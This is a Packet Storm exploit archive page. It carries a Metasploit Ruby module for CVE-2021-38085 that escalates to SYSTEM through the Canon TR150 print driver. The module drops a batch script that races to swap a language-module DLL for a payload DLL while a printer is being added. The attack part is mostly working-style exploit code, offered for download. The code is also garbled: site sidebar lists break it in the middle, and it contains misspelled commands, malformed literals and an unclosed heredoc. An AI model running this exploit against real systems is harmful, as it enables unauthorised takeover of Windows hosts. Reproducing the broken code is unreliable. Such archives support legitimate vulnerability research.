

## Canon TR150 Driver 3.71.2.10 Privilege Escalation

Authored by [Jacob Baines](#), [Shelby Pace](#) | Site [metasploit.com](#)

Posted [Aug 11, 2021](#)

Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at C:\ProgramData\CanonBJ\Printer\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing\_Admin\_Scripts\en-US\prnmngr.vbs script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program, which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation will grant attackers code execution as the NT AUTHORITY\SYSTEM user. This Metasploit module leverages the prnmngr.vbs script to add and delete printers. Multiple runs of this module may be required given successful exploitation is time-sensitive.

tags | [exploit](#), [local](#), [code execution](#)

systems | [windows](#)

advisories | [CVE-2021-38085](#)

SHA-256 | [cba47a2c22f1ca9d11622a05f5196ad5f0cf5055087f98e8880fbd03d3be995d](#) [Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

### Change Mirror

### Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super.update_info(
      info,
      'Name' => 'Canon Driver Privilege Escalation',
      'Description' => %q{
        Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
        within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at
        C:\ProgramData\CanonBJ\Printer\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll
        with a malicious DLL at the right time whilst running the
        C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
        script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe
        program,
        which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation
        will grant attackers code execution as the NT AUTHORITY\SYSTEM user.

        This module leverages the prnmngr.vbs script
        to add and delete printers. Multiple runs of this
        module may be required given successful exploitation
        is time-sensitive.
      },
      'License' => MSF_LICENSE,
      'Author' => [
        'Jacob Baines', # discovery, PoC, module
        'Shelby Pace' # original Ricoh module
      ],
      'References' => [
        {
          'CVE', '2021-38085',
        },
      ],
      'Arch' => [ ARCH_X86, ARCH_X64 ],
      'Platform' => 'win',
      'SessionTypes' => [ 'meterpreter' ],
      'Targets' => [
        [
          {
            'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
          },
        ],
      ],
      'Notes' => [
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'Stability' => [ SERVICE_RESOURCE_LOSS ],
        },
      ],
      'DisclosureDate' => '2021-08-07',
      'DefaultTarget' => 0
    )
  end

  selfNeedsCleanup = true

  def check
    @driver_path = ''
    dir_name = 'C:\ProgramData\CanonBJ\Printer\CNMWINDOWS\Canon TR150 series'

    return CheckCode::Safe('No Canon TR150 driver directory found') unless directory?(dir_name)

    language_dirs = dir(dir_name)

    return CheckCode::Detected('Detected Canon driver directory, but no language files. Its likely the driver
    is installed but a printer hasn't been added yet') unless language_dirs.length

    @driver_path = dir_name
    @driver_path.concat("\LanguageModules\040C")
    res = cmd_exec('icacls "%#{@driver_path}"')
    vulnerable = res.match(/\\Users:(?:\(\Z\)?\(\OI\)\(CI\)\(F\))/)

    return CheckCode::Safe("#{@driver_path} directory does not exist or does not grant Users full permissions")
    unless vulnerable

      vprint_status("Vulnerable language driver directory: #{@driver_path}")
      CheckCode::Appears('Canon language driver directory grants Users full permissions')
    end

    def add_printer(driver_name)
      fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)

      dll_data = generate_payload_dll
      dll_path = "#{@driver_path}\\CNMurGE.dll"

      temp_path = expand_path('%TEMP%\CNMurGE.dll')

      bat_file_path = expand_path('%TEMP%\#{(Rex::Text.rand_text_alpha(5..9)).bat}')
      cp_cmd = "copy /y \"%#{@temp_path}\" \"%#{dll_path}\""

      # this script monitors the target dll for modification and then copies
      # over our malicious dll. As this is a time based attack, it won't
      # always be successful!
      bat_file = <<HEREDOC
      @attrib -a "%#{dll_path}"
      :repeat
      for %i in ("%#{dll_path}") do echo %i-ai | find "a" >nul || goto :repeat
      timeout /t 1
      %cp_cmd
      >>>
    end
  end
end
```

### File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

### Top Authors In Last 30 Days

Red Hat 157 files

Ubuntu 76 files

LiquidWorm 23 files

Debian 21 files

nuff1security 11 files

malvuln 11 files

Gentoo 9 files

Google Security Research 8 files

Julien Ahrens 4 files

T. Weber 4 files

### File Tags

ActiveX (932)

Advisory (79,754)

Arbitrary (15,694)

BBS (2,859)

Bypass (1,619)

CGI (1,018)

Code Execution (8,926)

Conference (673)

Cracker (840)

CSRF (3,290)

DoS (22,602)

Encryption (2,349)

Exploit (50,359)

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

### File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

### Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

```
attrib -a "%{dll_path}"
HEREDOC

print_status("Dropping batch script to #{bat_file_path}")
write_file(bat_file_path, bat_file)

print_status("Writing DLL file to #{temp_path}")
write_file(temp_path, dll_data)
register_files_for_cleanup(bat_file_path, temp_path)

script_cmd = "cacript \"#{script_path}\" -a -p \"%#{@printer_name}\" -m \"%#{driver_name}\" -r \":\":"
bat_cmd = "cmd.exe /c \"%#{bat_file_path}\""
vprint_status("Executing the batch script...")
client.sys.process.execute(bat_cmd, nil, { 'Hidden' => true })

print_status("Adding printer #{@printer_name}...")
cmd_exeec(script_cmd)
rescue Rex::Post::Meterpreter::RequestError => e
  fail_with(Failure::Unknown, "#{e.class} #{e.message}")
end

def exploit
  fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

  fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type ==
'meterpreter'

  if sysinfo['Architecture'] != payload.arch.first
    fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target machine')
  end

  @printer_name = Rex::Text.rand_text_alpha(5..9)
  @script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs"
  drv_name = 'Canon TR150 series'

  add_printer(drv_name)
end

def cleanup
  print_status("Deleting printer #{@printer_name}")
  sleep(3)
  delete_cmd = "cacript \"#{script_path}\" -d -p \"%#{@printer_name}\""
  client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
end
end
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

**packet storm**  
© 2022 Packet Storm. All rights reserved.

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec
---------

 Follow us on Twitter

 Subscribe to an RSS Feed